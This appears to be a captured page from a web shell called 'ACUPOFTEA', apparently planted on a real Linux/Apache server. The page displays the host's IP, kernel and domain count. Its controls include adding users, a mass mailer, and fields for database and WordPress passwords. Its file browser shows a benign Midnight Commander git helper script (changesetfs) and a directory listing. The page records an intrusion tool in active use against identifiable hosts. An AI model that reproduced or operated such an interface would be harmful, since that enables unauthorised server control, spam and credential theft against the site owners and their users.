System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
usr
/
libexec
/
mc
/
extfs.d
/
216.73.216.50
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
changesetfs
#!/bin/sh LANG=C export LANG LC_TIME=C export LC_TIME # --- GIT ----------------------------------------------------------------------- found_git_dir() { work_dir=$1 while [ -n "$work_dir" -a "$work_dir" != "/" ]; do [ -d "${work_dir}/.git" ] && { echo "${work_dir}/.git/" return } work_dir=`dirname "$work_dir"` done echo '' } changesetfs_list_git() { WORK_DIR=$1; shift fname=$1; shift USER=$1; shift DATE=$1; shift GIT_DIR=`found_git_dir "$WORK_DIR"` [ -z "$GIT_DIR" ] && GIT_DIR=$WORK_DIR curr_year=`date +"%Y"` git --git-dir="$GIT_DIR" log --abbrev=7 --pretty="format:%at %h %an" -- "$fname" | while read TIMESTAMP chset author do year=`date -d @"$TIMESTAMP" +"%Y"` [ "$year" = "$curr_year" ] && { DATE=`date -d @"$TIMESTAMP" +"%b %d %H:%M"` } || { DATE=`date -d @"$TIMESTAMP" +"%b %d %Y"` } NAME="$chset $author" echo "-rw-rw-rw- 1 $USER 0 0 $DATE $NAME `basename $fname`" done } changesetfs_copyout_git() { WORK_DIR=$1; shift fname=$1; shift orig_fname=$1;shift output_fname=$1;shift chset=`echo "$orig_fname"| cut -f 1 -d " "` GIT_DIR=`found_git_dir "$WORK_DIR"` [ -z "$GIT_DIR" ] && GIT_DIR=$WORK_DIR filecommit=`git --git-dir="$GIT_DIR" show --raw --pretty=tformat:%h "$chset" -- "$fname"| \ tail -n1 | \ sed 's@^::[0-9]*\s*[0-9]*\s*[0-9]*\s*@@' | \ sed 's@^:[0-9]*\s*[0-9]*\s*@@' | \ cut -d'.' -f 1` git --git-dir="$GIT_DIR" show "$filecommit" > "$output_fname" } # --- COMMON -------------------------------------------------------------------- changesetfs_list() { VCS_type=$1; shift WORK_DIR=$1; shift fname=$1; shift DATE=`date +"%b %d %H:%M"` USER=`whoami` case "$VCS_type" in git) changesetfs_list_git "$WORK_DIR" "$fname" "$USER" "$DATE" ;; esac } changesetfs_copyout() { VCS_type=$1; shift WORK_DIR=$1; shift fname=$1; shift case "$VCS_type" in git) changesetfs_copyout_git "$WORK_DIR" "$fname" "$@" ;; esac } # --- MAIN ---------------------------------------------------------------------- command=$1; shift tmp_file=$1; shift WORK_DIR=`head -n1 $tmp_file` fname=`tail -n2 $tmp_file | head -n1` VCS_type=`tail -n1 $tmp_file` case "$command" in list) changesetfs_list "$VCS_type" "$WORK_DIR" "$fname" ;; copyout) changesetfs_copyout "$VCS_type" "$WORK_DIR" "$fname" "$@" ;; *) exit 1 ;; esac exit 0
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2024-06-24 01:43:03
..
DIR
-
drwxr-xr-x
2024-06-24 01:43:03
README
text/plain
7.29 KB
-rw-r--r--
2017-03-04 05:26:20
README.extfs
text/plain
1.11 KB
-rw-r--r--
2017-02-24 08:25:57
a+
text/x-perl
3.13 KB
-rwxr-xr-x
2019-10-18 08:37:56
apt+
text/x-perl
9.5 KB
-rwxr-xr-x
2019-10-18 08:37:56
audio
text/x-shellscript
1.29 KB
-rwxr-xr-x
2019-10-18 08:37:56
bpp
text/x-shellscript
1.18 KB
-rwxr-xr-x
2017-02-24 08:25:57
changesetfs
text/x-shellscript
2.5 KB
-rwxr-xr-x
2017-02-24 08:25:57
deb
text/x-perl
5.34 KB
-rwxr-xr-x
2019-10-18 08:37:56
deba
text/x-perl
3 KB
-rwxr-xr-x
2019-10-18 08:37:56
debd
text/x-perl
10.26 KB
-rwxr-xr-x
2019-10-18 08:37:56
dpkg+
text/x-perl
8.79 KB
-rwxr-xr-x
2019-10-18 08:37:56
gitfs+
text/x-shellscript
782 B
-rwxr-xr-x
2017-02-24 08:25:57
hp48+
text/x-shellscript
3.58 KB
-rwxr-xr-x
2019-10-18 08:37:56
iso9660
text/x-shellscript
5.65 KB
-rwxr-xr-x
2019-10-18 08:37:56
lslR
text/x-shellscript
1.38 KB
-rwxr-xr-x
2019-10-18 08:37:56
mailfs
text/x-perl
5.59 KB
-rwxr-xr-x
2019-10-18 08:37:56
patchfs
text/x-perl
10.88 KB
-rwxr-xr-x
2019-10-18 08:37:56
patchsetfs
text/x-shellscript
2.26 KB
-rwxr-xr-x
2017-02-24 08:25:57
rpm
text/x-shellscript
13.25 KB
-rwxr-xr-x
2017-03-04 05:26:20
rpms+
text/x-perl
1.47 KB
-rwxr-xr-x
2019-10-18 08:37:56
trpm
text/x-shellscript
7.65 KB
-rwxr-xr-x
2017-02-24 08:25:57
u7z
text/x-shellscript
4.71 KB
-rwxr-xr-x
2017-03-04 05:26:20
uace
text/x-shellscript
1.47 KB
-rwxr-xr-x
2019-10-18 08:37:56
ualz
text/x-shellscript
1.25 KB
-rwxr-xr-x
2019-10-18 08:37:56
uar
text/x-shellscript
1.29 KB
-rwxr-xr-x
2019-10-18 08:37:56
uarc
text/x-shellscript
1.79 KB
-rwxr-xr-x
2019-10-18 08:37:56
uarj
text/x-shellscript
1.62 KB
-rwxr-xr-x
2019-10-18 08:37:56
ucab
text/x-shellscript
734 B
-rwxr-xr-x
2019-10-18 08:37:56
uha
text/x-shellscript
969 B
-rwxr-xr-x
2019-10-18 08:37:56
ulha
text/x-shellscript
3.78 KB
-rwxr-xr-x
2019-10-18 08:37:56
ulib
text/x-perl
2.76 KB
-rwxr-xr-x
2019-10-18 08:37:56
urar
text/x-shellscript
4.37 KB
-rwxr-xr-x
2019-10-18 08:37:56
uzip
text/x-perl
14.9 KB
-rwxr-xr-x
2019-10-18 08:37:56
uzoo
text/x-shellscript
1.56 KB
-rwxr-xr-x
2019-10-18 08:37:56
~ ACUPOFTEA - mail.ontime-ae.com